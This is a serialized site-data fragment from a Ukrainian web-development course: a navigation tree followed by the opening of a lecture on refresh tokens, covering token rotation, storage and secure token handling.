TypeORM","\u002Fweb-development\u002Fentity-relations-migrations\u002F04-transactions","18.web-development\u002F11.entity-relations-migrations\u002F04-transactions",{"title":4567,"path":4568,"stem":4569,"children":4570},"Індекси та оптимізація запитів","\u002Fweb-development\u002Fentity-relations-migrations\u002F05-indexes-optimization","18.web-development\u002F11.entity-relations-migrations\u002F05-indexes-optimization",[4571],{"title":4567,"path":4568,"stem":4569},{"title":4573,"icon":4574,"path":4575,"stem":4576,"children":4577,"page":59},"Механізми автентифікації у вебзастосунках","i-lucide-key","\u002Fweb-development\u002Fauthentication","18.web-development\u002F12.authentication",[4578,4582,4586,4590,4594,4598,4602,4606,4610],{"title":4579,"path":4580,"stem":4581},"Автентифікація vs Авторизація","\u002Fweb-development\u002Fauthentication\u002F01-authentication-vs-authorization","18.web-development\u002F12.authentication\u002F01-authentication-vs-authorization",{"title":4583,"path":4584,"stem":4585},"Стратегії автентифікації","\u002Fweb-development\u002Fauthentication\u002F02-authentication-strategies","18.web-development\u002F12.authentication\u002F02-authentication-strategies",{"title":4587,"path":4588,"stem":4589},"Автентифікація на основі сесій","\u002Fweb-development\u002Fauthentication\u002F03-session-based-authentication","18.web-development\u002F12.authentication\u002F03-session-based-authentication",{"title":4591,"path":4592,"stem":4593},"Структура JSON Web Token (JWT)","\u002Fweb-development\u002Fauthentication\u002F04-jwt-structure","18.web-development\u002F12.authentication\u002F04-jwt-structure",{"title":4595,"path":4596,"stem":4597},"Інтеграція JWT у NestJS","\u002Fweb-development\u002Fauthentication\u002F05-nestjs-jwt-integration","18.web-development\u002F12.authentication\u002F05-nestjs-jwt-integration",{"title":4599,"path":4600,"stem":4601},"Passport.js стратегії у NestJS","\u002Fweb-development\u002Fauthentication\u002F06-passport-strategies","18.web-development\u002F12.authentication\u002F06-passport-strategies",{"title":4603,"path":4604,"stem":4605},"Безпечне зберігання паролів: хешування та криптографічний захист","\u002Fweb-development\u002Fauthentication\u002F07-password-hashing","18.web-development\u002F12.authentication\u002F07-password-hashing",{"title":4607,"path":4608,"stem":4609},"Refresh Token та безпечне оновлення доступу","\u002Fweb-development\u002Fauthentication\u002F08-refresh-tokens","18.web-development\u002F12.authentication\u002F08-refresh-tokens",{"title":4611,"path":4612,"stem":4613},"OAuth 2.0 та OpenID Connect: делегована автентифікація","\u002Fweb-development\u002Fauthentication\u002F09-oauth2-openid","18.web-development\u002F12.authentication\u002F09-oauth2-openid",{"title":4615,"icon":4616,"path":4617,"stem":4618,"children":4619,"page":59},"Авторизація та безпека серверних застосунків","i-lucide-shield","\u002Fweb-development\u002Fauthorization-security","18.web-development\u002F13.authorization-security",[4620,4624,4628,4632,4636,4640,4644,4648,4652,4656],{"title":4621,"path":4622,"stem":4623},"Моделі авторизації","\u002Fweb-development\u002Fauthorization-security\u002F01-authorization-models","18.web-development\u002F13.authorization-security\u002F01-authorization-models",{"title":4625,"path":4626,"stem":4627},"Реалізація RBAC у NestJS","\u002Fweb-development\u002Fauthorization-security\u002F02-rbac-implementation","18.web-development\u002F13.authorization-security\u002F02-rbac-implementation",{"title":4629,"path":4630,"stem":4631},"Permission-Based Access Control","\u002Fweb-development\u002Fauthorization-security\u002F03-permission-based-access","18.web-development\u002F13.authorization-security\u002F03-permission-based-access",{"title":4633,"path":4634,"stem":4635},"ABAC та бібліотека CASL","\u002Fweb-development\u002Fauthorization-security\u002F04-abac-casl","18.web-development\u002F13.authorization-security\u002F04-abac-casl",{"title":4637,"path":4638,"stem":4639},"Кастомні декоратори та метадані","\u002Fweb-development\u002Fauthorization-security\u002F05-custom-decorators-metadata","18.web-development\u002F13.authorization-security\u002F05-custom-decorators-metadata",{"title":4641,"path":4642,"stem":4643},"Конфігурація CORS","\u002Fweb-development\u002Fauthorization-security\u002F06-cors-configuration","18.web-development\u002F13.authorization-security\u002F06-cors-configuration",{"title":4645,"path":4646,"stem":4647},"Захист через HTTP Security Headers (Helmet)","\u002Fweb-development\u002Fauthorization-security\u002F07-helmet-security-headers","18.web-development\u002F13.authorization-security\u002F07-helmet-security-headers",{"title":4649,"path":4650,"stem":4651},"Rate Limiting та Throttling","\u002Fweb-development\u002Fauthorization-security\u002F08-rate-limiting-throttling","18.web-development\u002F13.authorization-security\u002F08-rate-limiting-throttling",{"title":4653,"path":4654,"stem":4655},"Захист від поширених атак","\u002Fweb-development\u002Fauthorization-security\u002F09-common-attacks-protection","18.web-development\u002F13.authorization-security\u002F09-common-attacks-protection",{"title":4657,"path":4658,"stem":4659},"HTTPS у продакшені","\u002Fweb-development\u002Fauthorization-security\u002F10-https-production","18.web-development\u002F13.authorization-security\u002F10-https-production",{"title":4661,"icon":871,"path":4662,"stem":4663,"children":4664,"page":59},"Комунікація у реальному часі, нотифікації та фонові задачі","\u002Fweb-development\u002Frealtime-notifications-jobs","18.web-development\u002F14.realtime-notifications-jobs",[4665,4669,4673,4677,4681,4685,4688,4691,4695,4699],{"title":4666,"path":4667,"stem":4668},"Методи комунікації у реальному часі","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F01-realtime-communication-methods","18.web-development\u002F14.realtime-notifications-jobs\u002F01-realtime-communication-methods",{"title":4670,"path":4671,"stem":4672},"WebSocket Gateway у NestJS","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F02-websocket-gateway","18.web-development\u002F14.realtime-notifications-jobs\u002F02-websocket-gateway",{"title":4674,"path":4675,"stem":4676},"Lifecycle та Rooms у WebSocket","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F03-websocket-lifecycle-rooms","18.web-development\u002F14.realtime-notifications-jobs\u002F03-websocket-lifecycle-rooms",{"title":4678,"path":4679,"stem":4680},"Server-Sent Events (SSE)","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F04-server-sent-events","18.web-development\u002F14.realtime-notifications-jobs\u002F04-server-sent-events",{"title":4682,"path":4683,"stem":4684},"Архітектура системи нотифікацій","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F05-notification-system","18.web-development\u002F14.realtime-notifications-jobs\u002F05-notification-system",{"title":904,"path":4686,"stem":4687},"\u002Fweb-development\u002Frealtime-notifications-jobs\u002F06-email-notifications","18.web-development\u002F14.realtime-notifications-jobs\u002F06-email-notifications",{"title":900,"path":4689,"stem":4690},"\u002Fweb-development\u002Frealtime-notifications-jobs\u002F07-web-push-notifications","18.web-development\u002F14.realtime-notifications-jobs\u002F07-web-push-notifications",{"title":4692,"path":4693,"stem":4694},"Фонові задачі та черги","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F08-background-jobs-queues","18.web-development\u002F14.realtime-notifications-jobs\u002F08-background-jobs-queues",{"title":4696,"path":4697,"stem":4698},"Планувальники та Cron jobs","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F09-schedulers-cron","18.web-development\u002F14.realtime-notifications-jobs\u002F09-schedulers-cron",{"title":4700,"path":4701,"stem":4702},"Практичні сценарії застосування","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F10-practical-scenarios","18.web-development\u002F14.realtime-notifications-jobs\u002F10-practical-scenarios",{"title":4704,"icon":4705,"path":4706,"stem":4707,"children":4708,"page":59},"Тестування, документування та розгортання застосунків","i-lucide-rocket","\u002Fweb-development\u002Ftesting-documentation-deployment","18.web-development\u002F15.testing-documentation-deployment",[4709,4713,4717,4721,4725,4729,4733,4737,4741,4745],{"title":4710,"path":4711,"stem":4712},"Піраміда тестування та стратегія","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F01-testing-pyramid-strategy","18.web-development\u002F15.testing-documentation-deployment\u002F01-testing-pyramid-strategy",{"title":4714,"path":4715,"stem":4716},"Основи Jest у NestJS","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F02-jest-nestjs-basics","18.web-development\u002F15.testing-documentation-deployment\u002F02-jest-nestjs-basics",{"title":4718,"path":4719,"stem":4720},"Unit-тестування сервісів","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F03-unit-testing-services","18.web-development\u002F15.testing-documentation-deployment\u002F03-unit-testing-services",{"title":4722,"path":4723,"stem":4724},"E2E тестування та покриття коду","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F04-e2e-testing-coverage","18.web-development\u002F15.testing-documentation-deployment\u002F04-e2e-testing-coverage",{"title":4726,"path":4727,"stem":4728},"Swagger, OpenAPI, Scalar та Arazzo","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F05-swagger-openapi","18.web-development\u002F15.testing-documentation-deployment\u002F05-swagger-openapi",{"title":4730,"path":4731,"stem":4732},"Керування конфігурацією","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F06-configuration-management","18.web-development\u002F15.testing-documentation-deployment\u002F06-configuration-management",{"title":4734,"path":4735,"stem":4736},"Docker та контейнеризація","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F07-docker-containerization","18.web-development\u002F15.testing-documentation-deployment\u002F07-docker-containerization",{"title":4738,"path":4739,"stem":4740},"CI\u002FCD Pipelines","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F08-cicd-pipelines","18.web-development\u002F15.testing-documentation-deployment\u002F08-cicd-pipelines",{"title":4742,"path":4743,"stem":4744},"Логування та моніторинг","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F09-logging-monitoring","18.web-development\u002F15.testing-documentation-deployment\u002F09-logging-monitoring",{"title":4746,"path":4747,"stem":4748},"Серіалізація та компресія","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F10-serialization-compression","18.web-development\u002F15.testing-documentation-deployment\u002F10-serialization-compression",{"title":4750,"icon":4751,"path":4752,"stem":4753,"children":4754,"page":59},"AI Core: мислення AI","i-lucide-brain","\u002Fai-core","19.ai-core",[4755,4796,4845,4883],{"title":4756,"icon":4705,"path":4757,"stem":4758,"children":4759,"page":59},"Вхід у професію AI Native Developer","\u002Fai-core\u002Fai-native-developer","19.ai-core\u002F01.ai-native-developer",[4760,4764,4768,4772,4776,4780,4784,4788,4792],{"title":4761,"path":4762,"stem":4763},"Вступ до професії розробника цифрових продуктів","\u002Fai-core\u002Fai-native-developer\u002Fdigital-products","19.ai-core\u002F01.ai-native-developer\u002F01.digital-products",{"title":4765,"path":4766,"stem":4767},"Професія розробника програмного забезпечення","\u002Fai-core\u002Fai-native-developer\u002Fsoftware-developer","19.ai-core\u002F01.ai-native-developer\u002F02.software-developer",{"title":4769,"path":4770,"stem":4771},"Професія AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fai-native-developer","19.ai-core\u002F01.ai-native-developer\u002F03.ai-native-developer",{"title":4773,"path":4774,"stem":4775},"Вплив AI на розробку програмного забезпечення","\u002Fai-core\u002Fai-native-developer\u002Fai-impact-on-development","19.ai-core\u002F01.ai-native-developer\u002F04.ai-impact-on-development",{"title":4777,"path":4778,"stem":4779},"Життєвий цикл цифрового продукту","\u002Fai-core\u002Fai-native-developer\u002Fproduct-lifecycle","19.ai-core\u002F01.ai-native-developer\u002F05.product-lifecycle",{"title":4781,"path":4782,"stem":4783},"Застосування AI на етапах створення цифрового продукту","\u002Fai-core\u002Fai-native-developer\u002Fai-in-product-creation","19.ai-core\u002F01.ai-native-developer\u002F06.ai-in-product-creation",{"title":4785,"path":4786,"stem":4787},"Розподіл завдань між людиною та AI","\u002Fai-core\u002Fai-native-developer\u002Fhuman-vs-ai-tasks","19.ai-core\u002F01.ai-native-developer\u002F07.human-vs-ai-tasks",{"title":4789,"path":4790,"stem":4791},"Компетенції AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fcompetencies","19.ai-core\u002F01.ai-native-developer\u002F08.competencies",{"title":4793,"path":4794,"stem":4795},"Карта професійного розвитку AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fcareer-roadmap","19.ai-core\u002F01.ai-native-developer\u002F09.career-roadmap",{"title":4797,"icon":255,"path":4798,"stem":4799,"children":4800,"page":59},"Штучний інтелект і машинне навчання","\u002Fai-core\u002Fai-and-machine-learning","19.ai-core\u002F02.ai-and-machine-learning",[4801,4805,4809,4813,4817,4821,4825,4829,4833,4837,4841],{"title":4802,"path":4803,"stem":4804},"Штучний інтелект","\u002Fai-core\u002Fai-and-machine-learning\u002Fwhat-is-ai","19.ai-core\u002F02.ai-and-machine-learning\u002F01.what-is-ai",{"title":4806,"path":4807,"stem":4808},"Відмінність AI від інших програмних систем","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-vs-automation","19.ai-core\u002F02.ai-and-machine-learning\u002F02.ai-vs-automation",{"title":4810,"path":4811,"stem":4812},"Завдання штучного інтелекту","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-tasks","19.ai-core\u002F02.ai-and-machine-learning\u002F03.ai-tasks",{"title":4814,"path":4815,"stem":4816},"Machine Learning","\u002Fai-core\u002Fai-and-machine-learning\u002Fmachine-learning","19.ai-core\u002F02.ai-and-machine-learning\u002F04.machine-learning",{"title":4818,"path":4819,"stem":4820},"Machine Learning Workflow","\u002Fai-core\u002Fai-and-machine-learning\u002Fml-workflow","19.ai-core\u002F02.ai-and-machine-learning\u002F05.ml-workflow",{"title":4822,"path":4823,"stem":4824},"Типи машинного навчання","\u002Fai-core\u002Fai-and-machine-learning\u002Fml-types","19.ai-core\u002F02.ai-and-machine-learning\u002F06.ml-types",{"title":4826,"path":4827,"stem":4828},"Generative AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fgenerative-ai","19.ai-core\u002F02.ai-and-machine-learning\u002F07.generative-ai",{"title":4830,"path":4831,"stem":4832},"Типи контенту, створюваного AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-content-types","19.ai-core\u002F02.ai-and-machine-learning\u002F08.ai-content-types",{"title":4834,"path":4835,"stem":4836},"Великі мовні моделі","\u002Fai-core\u002Fai-and-machine-learning\u002Flarge-language-models","19.ai-core\u002F02.ai-and-machine-learning\u002F09.large-language-models",{"title":4838,"path":4839,"stem":4840},"Можливості та обмеження Generative AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fcapabilities-and-limitations","19.ai-core\u002F02.ai-and-machine-learning\u002F10.capabilities-and-limitations",{"title":4842,"path":4843,"stem":4844},"Сучасні AI-асистенти","\u002Fai-core\u002Fai-and-machine-learning\u002Fmodern-ai-assistants","19.ai-core\u002F02.ai-and-machine-learning\u002F11.modern-ai-assistants",{"title":4846,"icon":4847,"path":4848,"stem":4849,"children":4850,"page":59},"Постановка завдань для AI: принципи створення промптів","i-lucide-message-square-text","\u002Fai-core\u002Fprompt-engineering","19.ai-core\u002F03.prompt-engineering",[4851,4855,4859,4863,4867,4871,4875,4879],{"title":4852,"path":4853,"stem":4854},"Промпт як інструмент","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-as-tool","19.ai-core\u002F03.prompt-engineering\u002F01.prompt-as-tool",{"title":4856,"path":4857,"stem":4858},"Принципи створення промптів","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-principles","19.ai-core\u002F03.prompt-engineering\u002F02.prompt-principles",{"title":4860,"path":4861,"stem":4862},"Структура промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-structure","19.ai-core\u002F03.prompt-engineering\u002F03.prompt-structure",{"title":4864,"path":4865,"stem":4866},"Види промптів за типом задачі","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-types","19.ai-core\u002F03.prompt-engineering\u002F04.prompt-types",{"title":4868,"path":4869,"stem":4870},"Прийоми посилення промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-enhancement","19.ai-core\u002F03.prompt-engineering\u002F05.prompt-enhancement",{"title":4872,"path":4873,"stem":4874},"Розбір і покращення промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-analysis","19.ai-core\u002F03.prompt-engineering\u002F06.prompt-analysis",{"title":4876,"path":4877,"stem":4878},"Типові помилки під час створення промптів","\u002Fai-core\u002Fprompt-engineering\u002Fcommon-mistakes","19.ai-core\u002F03.prompt-engineering\u002F07.common-mistakes",{"title":4880,"path":4881,"stem":4882},"Практикум: особиста бібліотека промптів","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-library","19.ai-core\u002F03.prompt-engineering\u002F08.prompt-library",{"title":4884,"icon":793,"path":4885,"stem":4886,"children":4887,"page":59},"Перевірка результатів, безпека та AI Native Workflow","\u002Fai-core\u002Fverification-security-workflow","19.ai-core\u002F04.verification-security-workflow",[4888,4892,4896,4900,4904,4908,4912,4916,4920],{"title":4889,"path":4890,"stem":4891},"Межі можливостей AI","\u002Fai-core\u002Fverification-security-workflow\u002Fai-limitations","19.ai-core\u002F04.verification-security-workflow\u002F01.ai-limitations",{"title":4893,"path":4894,"stem":4895},"Галюцинації AI","\u002Fai-core\u002Fverification-security-workflow\u002Fai-hallucinations","19.ai-core\u002F04.verification-security-workflow\u002F02.ai-hallucinations",{"title":4897,"path":4898,"stem":4899},"Критичне мислення під час роботи з AI","\u002Fai-core\u002Fverification-security-workflow\u002Fcritical-thinking","19.ai-core\u002F04.verification-security-workflow\u002F03.critical-thinking",{"title":4901,"path":4902,"stem":4903},"Перевірка результатів роботи AI","\u002Fai-core\u002Fverification-security-workflow\u002Fresult-verification","19.ai-core\u002F04.verification-security-workflow\u002F04.result-verification",{"title":4905,"path":4906,"stem":4907},"Захист даних під час роботи з AI","\u002Fai-core\u002Fverification-security-workflow\u002Fdata-protection","19.ai-core\u002F04.verification-security-workflow\u002F05.data-protection",{"title":4909,"path":4910,"stem":4911},"Авторське право та навчальна доброчесність","\u002Fai-core\u002Fverification-security-workflow\u002Fcopyright-integrity","19.ai-core\u002F04.verification-security-workflow\u002F06.copyright-integrity",{"title":4913,"path":4914,"stem":4915},"Відповідальне використання AI","\u002Fai-core\u002Fverification-security-workflow\u002Fresponsible-use","19.ai-core\u002F04.verification-security-workflow\u002F07.responsible-use",{"title":4917,"path":4918,"stem":4919},"AI Native Workflow","\u002Fai-core\u002Fverification-security-workflow\u002Fai-native-workflow","19.ai-core\u002F04.verification-security-workflow\u002F08.ai-native-workflow",{"title":4921,"path":4922,"stem":4923},"Застосування AI Native Workflow під час створення цифрового продукту","\u002Fai-core\u002Fverification-security-workflow\u002Fworkflow-in-practice","19.ai-core\u002F04.verification-security-workflow\u002F09.workflow-in-practice",{"title":4925,"icon":4926,"path":4927,"stem":4928,"children":4929,"page":59},"AI Developer: Vibe Coding Sprint","i-lucide-code-xml","\u002Fai-developer","20.ai-developer",[4930,4956,4978,4999],{"title":4931,"icon":4932,"path":4933,"stem":4934,"children":4935,"page":59},"Проєктування і чорнова версія","i-lucide-pencil-ruler","\u002Fai-developer\u002Fdraft-creation","20.ai-developer\u002F01.draft-creation",[4936,4940,4944,4948,4952],{"title":4937,"path":4938,"stem":4939},"Парадигма Vibe Coding Workflow","\u002Fai-developer\u002Fdraft-creation\u002Fvibe-coding-workflow","20.ai-developer\u002F01.draft-creation\u002F01.vibe-coding-workflow",{"title":4941,"path":4942,"stem":4943},"AI-середовище швидкої розробки","\u002Fai-developer\u002Fdraft-creation\u002Fai-ide-environment","20.ai-developer\u002F01.draft-creation\u002F02.ai-ide-environment",{"title":4945,"path":4946,"stem":4947},"Користувацьке завдання та межі першої версії","\u002Fai-developer\u002Fdraft-creation\u002Fproduct-scope-and-mvp","20.ai-developer\u002F01.draft-creation\u002F03.product-scope-and-mvp",{"title":4949,"path":4950,"stem":4951},"Архітектура інтерфейсу та стани застосунку","\u002Fai-developer\u002Fdraft-creation\u002Fapplication-architecture-and-states","20.ai-developer\u002F01.draft-creation\u002F04.application-architecture-and-states",{"title":4953,"path":4954,"stem":4955},"Генерація та фіксація чорнової версії","\u002Fai-developer\u002Fdraft-creation\u002Fgenerating-draft-version","20.ai-developer\u002F01.draft-creation\u002F05.generating-draft-version",{"title":4957,"icon":4958,"path":4959,"stem":4960,"children":4961,"page":59},"Перша робоча версія","i-lucide-play-circle","\u002Fai-developer\u002Ffirst-working-version","20.ai-developer\u002F02.first-working-version",[4962,4966,4970,4974],{"title":4963,"path":4964,"stem":4965},"Уточнення контексту проєкту для AI","\u002Fai-developer\u002Ffirst-working-version\u002Frefining-project-context","20.ai-developer\u002F02.first-working-version\u002F01.refining-project-context",{"title":4967,"path":4968,"stem":4969},"Стратегія завдань для AI-розробки","\u002Fai-developer\u002Ffirst-working-version\u002Fai-prompting-strategy","20.ai-developer\u002F02.first-working-version\u002F02.ai-prompting-strategy",{"title":4971,"path":4972,"stem":4973},"Доопрацювання до першої робочої версії","\u002Fai-developer\u002Ffirst-working-version\u002Frefining-to-working-version","20.ai-developer\u002F02.first-working-version\u002F03.refining-to-working-version",{"title":4975,"path":4976,"stem":4977},"Перевірка першої робочої версії","\u002Fai-developer\u002Ffirst-working-version\u002Ftesting-first-working-version","20.ai-developer\u002F02.first-working-version\u002F04.testing-first-working-version",{"title":4979,"icon":3028,"path":4980,"stem":4981,"children":4982,"page":59},"Ітерації, дебагінг та відновлення","\u002Fai-developer\u002Fiteration-debugging-recovery","20.ai-developer\u002F03.iteration-debugging-recovery",[4983,4987,4991,4995],{"title":4984,"path":4985,"stem":4986},"Управління точковими змінами продукту","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fchange-management","20.ai-developer\u002F03.iteration-debugging-recovery\u002F01.change-management",{"title":4988,"path":4989,"stem":4990},"Надійність інтерфейсу та обробка помилок","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fscenario-reliability-and-errors","20.ai-developer\u002F03.iteration-debugging-recovery\u002F02.scenario-reliability-and-errors",{"title":4992,"path":4993,"stem":4994},"Керування контекстом і збереження версій","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fproject-context-and-versions","20.ai-developer\u002F03.iteration-debugging-recovery\u002F03.project-context-and-versions",{"title":4996,"path":4997,"stem":4998},"Збої AI-розробки, ліміти та аварійне відновлення","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fai-breakdowns-and-recovery","20.ai-developer\u002F03.iteration-debugging-recovery\u002F04.ai-breakdowns-and-recovery",{"title":5000,"icon":5001,"path":5002,"stem":5003,"children":5004,"page":59},"Перевірка та завершення продукту","i-lucide-check-check","\u002Fai-developer\u002Fverification-and-completion","20.ai-developer\u002F04.verification-and-completion",[5005,5009,5013],{"title":5006,"path":5007,"stem":5008},"Комплексний аудит та підсумкове тестування","\u002Fai-developer\u002Fverification-and-completion\u002Ffinal-product-testing","20.ai-developer\u002F04.verification-and-completion\u002F01.final-product-testing",{"title":5010,"path":5011,"stem":5012},"Підготовка підсумкової версії коду","\u002Fai-developer\u002Fverification-and-completion\u002Fpreparing-release-version","20.ai-developer\u002F04.verification-and-completion\u002F02.preparing-release-version",{"title":5014,"path":5015,"stem":5016},"Демонстрація, публікація та критерії оцінювання","\u002Fai-developer\u002Fverification-and-completion\u002Fproduct-showcase-and-publishing","20.ai-developer\u002F04.verification-and-completion\u002F03.product-showcase-and-publishing",{"title":5018,"path":5019,"stem":5020,"children":5021,"page":59},"Tailwind","\u002Ftailwind","21.tailwind",[5022,5026,5030,5034,5038,5042,5046,5050,5054,5058,5062,5066],{"title":5023,"path":5024,"stem":5025},"Що таке Tailwind CSS і навіщо він потрібен","\u002Ftailwind\u002Ftailwind-intro-philosophy","21.tailwind\u002F01.tailwind-intro-philosophy",{"title":5027,"path":5028,"stem":5029},"Встановлення та налаштування Tailwind CSS v4","\u002Ftailwind\u002Ftailwind-installation-setup","21.tailwind\u002F02.tailwind-installation-setup",{"title":5031,"path":5032,"stem":5033},"Utility-класи: основи та система Tailwind","\u002Ftailwind\u002Ftailwind-utility-classes-core","21.tailwind\u002F03.tailwind-utility-classes-core",{"title":5035,"path":5036,"stem":5037},"Layout: Flexbox та Grid через Tailwind","\u002Ftailwind\u002Ftailwind-flexbox-grid","21.tailwind\u002F04.tailwind-flexbox-grid",{"title":5039,"path":5040,"stem":5041},"Кастомізація теми через @theme у Tailwind v4","\u002Ftailwind\u002Ftailwind-theme-customization","21.tailwind\u002F05.tailwind-theme-customization",{"title":5043,"path":5044,"stem":5045},"Варіанти: hover, focus, responsive, dark mode та нові v4","\u002Ftailwind\u002Ftailwind-variants-states","21.tailwind\u002F06.tailwind-variants-states",{"title":5047,"path":5048,"stem":5049},"Типографіка та система кольорів у Tailwind v4","\u002Ftailwind\u002Ftailwind-typography-colors","21.tailwind\u002F07.tailwind-typography-colors",{"title":5051,"path":5052,"stem":5053},"Компоненти та повторюваність: @apply, @utility та патерни","\u002Ftailwind\u002Ftailwind-components-patterns","21.tailwind\u002F08.tailwind-components-patterns",{"title":5055,"path":5056,"stem":5057},"Темна тема та система дизайн-токенів у Tailwind v4","\u002Ftailwind\u002Ftailwind-dark-mode-theming","21.tailwind\u002F09.tailwind-dark-mode-theming",{"title":5059,"path":5060,"stem":5061},"Довільні значення та контейнерні запити у Tailwind v4","\u002Ftailwind\u002Ftailwind-arbitrary-container-queries","21.tailwind\u002F10.tailwind-arbitrary-container-queries",{"title":5063,"path":5064,"stem":5065},"Анімації, трансформації та 3D у Tailwind v4","\u002Ftailwind\u002Ftailwind-animations-transforms","21.tailwind\u002F11.tailwind-animations-transforms",{"title":5067,"path":5068,"stem":5069},"Tailwind CLI, PostCSS та інтеграція з фреймворками","\u002Ftailwind\u002Ftailwind-cli-tooling","21.tailwind\u002F12.tailwind-cli-tooling",{"title":5071,"path":5072,"stem":5073},"Тестування компонентів діаграм","\u002Ftest-components","98.test-components",{"id":5075,"title":4607,"body":5076,"description":5270,"extension":20887,"links":20888,"meta":20889,"navigation":5576,"path":4608,"seo":20890,"stem":4609,"__hash__":20891},"docs\u002F18.web-development\u002F12.authentication\u002F08-refresh-tokens.md",{"type":5077,"value":5078,"toc":20838},"minimark",[5079,5083,5088,5092,5167,5170,5173,5224,5226,5229,5232,5237,5256,5261,5264,5372,5377,5384,5474,5477,5498,5503,5514,5528,5533,5928,5935,5937,5941,5948,6054,6058,6064,6069,6119,6124,6214,6218,6223,6227,6265,6270,6641,6648,6652,6657,6665,6670,6673,6684,6689,6692,6817,6820,6828,6830,6834,6837,6841,6846,6992,6997,7140,7144,7150,7194,7200,7288,7293,7370,7374,7380,7529,7534,8498,8509,8511,8515,8518,8522,8527,8546,8551,8559,8564,8794,8799,9232,9236,9240,9251,9255,9263,9268,10192,10196,10202,10218,10412,10414,10418,10432,10436,10442,10476,10483,10487,10650,10655,10702,10706,12112,12123,12127,12223,12237,12239,12243,12246,12250,12862,12867,12947,12951,13336,13340,13624,13629,13854,13856,13860,13863,13867,14511,14515,14520,14540,14545,14563,14568,15182,15187,15562,15566,15576,15837,15842,15920,15941,15943,15947,15950,15954,15959,15962,16059,16064,16079,16158,16166,16213,16217,16221,16227,16340,16344,16352,16390,16398,16513,16517,16521,16524,16528,16547,16825,16831,16833,16837,16840,16844,16849,17531,17536,17823,17828,18761,18765,18768,19552,19554,19558,19699,19701,19705,20731,20733,20737,20740,20827,20834],[5080,5081,4607],"h1",{"id":5082},"refresh-token-та-безпечне-оновлення-доступу",[5084,5085,5087],"h2",{"id":5086},"короткий-зміст","Короткий зміст",[5089,5090,5091],"p",{},"У цій лекції вивчається архітектура пари токенів (Access + Refresh) та механізми безпечного оновлення доступу:",[5093,5094,5095,5103,5109,5115,5137,5143,5161],"ul",{},[5096,5097,5098,5102],"li",{},[5099,5100,5101],"strong",{},"Проблема довгоживучих Access Token"," — довгий TTL (7 днів) означає, що скомпрометований токен залишається валідним до закінчення терміну, неможливість відкликання без blacklist",[5096,5104,5105,5108],{},[5099,5106,5107],{},"Архітектура пари токенів"," — короткий Access Token (15 хв) для доступу до API, довгий Refresh Token (7-30 днів) для отримання нового Access Token",[5096,5110,5111,5114],{},[5099,5112,5113],{},"Потік авторизації"," — клієнт отримує обидва токени при логіні, використовує Access Token для запитів, при 401 (токен прострочений) використовує Refresh Token для отримання нової пари",[5096,5116,5117,5120,5121,5125,5126,5129,5130,5129,5133,5136],{},[5099,5118,5119],{},"Зберігання Refresh Token"," — БД (таблиця ",[5122,5123,5124],"code",{},"refresh_tokens"," з ",[5122,5127,5128],{},"userId",", ",[5122,5131,5132],{},"token",[5122,5134,5135],{},"expiresAt",") або Redis (з TTL), можливість відкликання через видалення з БД",[5096,5138,5139,5142],{},[5099,5140,5141],{},"Refresh Token Rotation"," — при кожному використанні Refresh Token видається нова пара токенів, старий Refresh Token інвалідується, захист від token replay attacks",[5096,5144,5145,5148,5149,5152,5153,5156,5157,5160],{},[5099,5146,5147],{},"Реалізація ендпоінтів"," — ",[5122,5150,5151],{},"\u002Fauth\u002Flogin"," повертає обидва токени, ",[5122,5154,5155],{},"\u002Fauth\u002Frefresh"," приймає Refresh Token та повертає нову пару, ",[5122,5158,5159],{},"\u002Fauth\u002Flogout"," видаляє Refresh Token з БД",[5096,5162,5163,5166],{},[5099,5164,5165],{},"Безпечне зберігання на клієнті"," — HttpOnly Cookie для Refresh Token (недоступний для JavaScript), LocalStorage\u002FMemory для Access Token, компроміс між безпекою та UX",[5089,5168,5169],{},"Розглядаються сценарії компрометації токенів, detection mechanisms для виявлення token theft (використання старого Refresh Token після rotation), автоматичне відкликання всіх токенів користувача при підозрілій активності.",[5171,5172],"hr",{},[5174,5175,5176,5195],"card-group",{},[5177,5178,5181],"card",{"icon":5179,"title":5180},"i-lucide-target","🎯 Мета лекції",[5093,5182,5183,5186,5189,5192],{},[5096,5184,5185],{},"Зрозуміти фундаментальні проблеми довгоживучих JWT токенів та неможливість їхнього відкликання.",[5096,5187,5188],{},"Опанувати архітектурний паттерн пари токенів (Access + Refresh) для балансу безпеки та UX.",[5096,5190,5191],{},"Навчитися реалізовувати Refresh Token Rotation для захисту від token replay атак.",[5096,5193,5194],{},"Розуміти компроміси між різними стратегіями зберігання токенів на клієнті.",[5177,5196,5198],{"icon":4574,"title":5197},"🔑 Ключові 